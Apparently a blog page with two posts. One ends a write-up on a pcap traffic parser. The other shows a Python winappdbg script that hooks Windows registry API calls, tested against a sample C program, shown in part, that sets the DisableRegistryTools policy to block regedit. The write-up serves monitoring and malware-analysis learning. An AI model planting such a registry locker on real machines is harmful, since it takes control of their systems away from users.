** pcapino - 5D4A LAB **

:: Pcap filter: tcp or udp
:: Parsing post.pcap
:: Traffic sniffed on DLT_EN10MB

:: Parsing...

------------------------------------------------------------------------------------------------------------------------------------
| TYPE  |       FROM            |       TO              |       SEQ      |      WIN      |      GET
------------------------------------------------------------------------------------------------------------------------------------
| TCP   | xxx.xxx.xxx.xxx:45235   | 64.4.34.150:1863      | 3771785275     |      1002     |
| TCP   | xxx.xxx.xxx.xxx:45235   | 64.4.34.150:1863      | 3771785280     |      1002     |
| UDP   | xxx.xxx.xxx.xxx:53401   | 208.67.222.222:53     | /              |      /        | /
| UDP   | xxx.xxx.xxx.xxx.:53401   | 208.67.222.222:53     | /              |      /       | /
| UDP   | 208.67.222.222:53     | xxx.xxx.xxx.xxx:53401   | /              |      /        | /
| TCP   | xxx.xxx.xxx.xxx:56529   | 200.123.107.174:80    | 2985889925     |      92       |
| TCP   | xxx.xxx.xxx.xxx:56529   | 200.123.107.174:80    | 2985889925     |      92       | GET /project/impacket.html HTTP/1.1
| TCP   | 200.123.107.174:80    | xxx.xxx.xxx.xxx:56529   | 3980002124     |      17160    |
| TCP   | xxx.xxx.xxx.xxx:56529   | 200.123.107.174:80    | 2985890508     |      108      |
| TCP   | xxx.xxx.xxx.xxx:56529   | 200.123.107.174:80    | 2985890508     |      108      | GET /images/style.css HTTP/1.1

...............

As we can see we obtain what we have designed, I’m sorry for this poor layout but this is what wordpress.com offers me, and we have a better idea of what is the activity in our network or in an analysis scenario and maybe we understand what the program tries to do. These two scripts can be easily modified to perform other interesting tasks, e.g see the comments at the beginning of pcapino, we could follow the tcp streams, parse in a better way the protocols at layer 7 of ISO/OSI model, in particular to a hypothetical malware analysis HTTP and IRC, or monitor a worm in its efforts to infect other hosts.

Happy hacking

Regards,

emdel

Messing around with register

In these days I’m discovering winappdbg, it’s a python module that wrap many win32 API. Why am I using this “tool”? I could take a look at Paimei and its PyDbg or Immunity Debugger with its immlib. To this choice I must thank ratsoul and swirl that, during a boring afternoon on a irc channel, when I asked to a library to hook some functions on Windows using Python, suggested me to use winappdbg. I was using pydbg but it wasn’t satisfing me due to lack of documentation.

To learn fast I’ve decided to script something. My target is the register, I want to monitor its activity to the point of view of a single process. This idea, using winappdbg, is easy. The proof:

from optparse import OptionParser
from winappdbg import Debug, EventHandler
import sys

To perform our task we need from winappdbg the classes Debug and EventHandler in particular this last class is important to hook functions.

apiHooks = {

 # Hooks for the advapi32 library
 'advapi32.dll' : [
 #  Function            Parameters
 ( 'RegCreateKeyExA'  ,   9  ),
 ( 'RegSetValueExA'   ,   6  ),
 ( 'RegOpenKeyExA'    ,   5  ),
 ( 'RegQueryValueExA' ,   6  ),
 ( 'RegDeleteKeyExA'  ,   4  )
 ]
 }

To make our hooks possible we have to specify to EventHandler what to hook and the numbers of parameters of each function. Next step is to create the functions to monitor the input and the output of our target, so:

# functions to monitor the guys above
 def pre_RegCreateKeyExA( self, event, ra, hKey, lpSubKey, Reserved,
 lpClass, dwOptions, samDesired,
 lpSecurityAttributes, phkResult,
 lpdwDisposition ):
 key = event.get_process( ).peek_string( lpSubKey )
 tid = event.get_tid( )
 print ":: Thread: " + str(tid) + " Advapi32!RegCreateKeyExA -> try to create key " + str( key )

 def post_RegCreateKeyExA( self, event, ret ):
 tid = event.get_tid( )
 if ret:
 print ":: Thread: " + str(tid) + " Advapi32!RegCreateKeyExA -> key created successfully"
 else:
 print ":: Thread: " + str(tid) + " Advapi32!RegCreateKeyExA -> key not created successfully"

and so on to all the target functions.

Once the coding part is over we have to test out our script. To this task I’ve coded two simple programs that use the functions target.

In particular these two programs block and unblock the regedit. Here I’ll post only the locker:

#define STRICT
#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <stdio.h>

#define KEY "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System"
#define NAME "DisableRegistryTools"
#define MAX_VALUE_NAME 2000

int main( int argc, LPTSTR argv[] )
{
 HKEY key, newK;
 int flag = 0;
 LPDWORD tipo;
 DWORD mode, svalue, value, sdata, data;
 TCHAR Value[MAX_VALUE_NAME];
 DWORD size = sizeof(DWORD);

 if( RegOpenKeyEx( HKEY_CURRENT_USER, KEY, 0, KEY_ALL_ACCESS, &key ) != ERROR_SUCCESS )
 {
 printf( "- dir not open\n" );
 }
 else
 {
 printf( "- dir open\n" );
 }

 if( RegQueryValueEx( key,
 NAME,
 NULL,
 NULL,
 (BYTE*)&data,
 &sdata ) != ERROR_SUCCESS )
 {
 printf( "- key not found \n" );
 flag = 0;
 }
 else
 {
 printf( "- key found \n" );
 flag = 1;
 }

 ...

Now it’s time to see if our code run properly:

C:\Documents and Settings\mw\Desktop>SRS.py -n regLocker.exe

** Spy Register Script **
- 5A4D LAB -

:: Process regLocker.exe starts with PID: 316

:: Thread: 568 Advapi32!RegOpenKeyExA -> try to open key Software\Microsoft\Windows\CurrentVersion\Policies\System
:: Thread: 568 Advapi32!RegQueryValueExA -> try to query value DisableRegistryTools
:: Thread: 568 Advapi32!RegQueryValueExA -> try to query value DisableRegistryTools
:: Thread: 568 Advapi32!RegSetValueExA -> try to set value DisableRegistryTools
C:\Documents and Settings\mw\Desktop>

And now let’s try the unlocker

C:\Documents and Settings\mw\Desktop>SRS.py -n unlocker.exe

 ** Spy Register Script **
 - 5A4D LAB -

:: Process unlocker.exe starts with PID: 1600

:: Thread: 1988 Advapi32!RegOpenKeyExA -> try to open key Software\Microsoft\Windows\CurrentVersion\Policies\System
:: Thread: 1988 Advapi32!RegQueryValueExA -> try to query value DisableRegistryTools
:: Thread: 1988 Advapi32!RegQueryValueExA -> try to query value DisableRegistryTools
:: Thread: 1988 Advapi32!RegSetValueExA -> try to set value DisableRegistryTools
C:\Documents and Settings\mw\Desktop>

As you can see everytime a function is inovoked we log its activity and this was our goal. This post is only a brief and quick presentation of the power of winappdbg.

Try it! To download: srs.rar

Regards,

emdel

Follow

Get every new post delivered to your Inbox.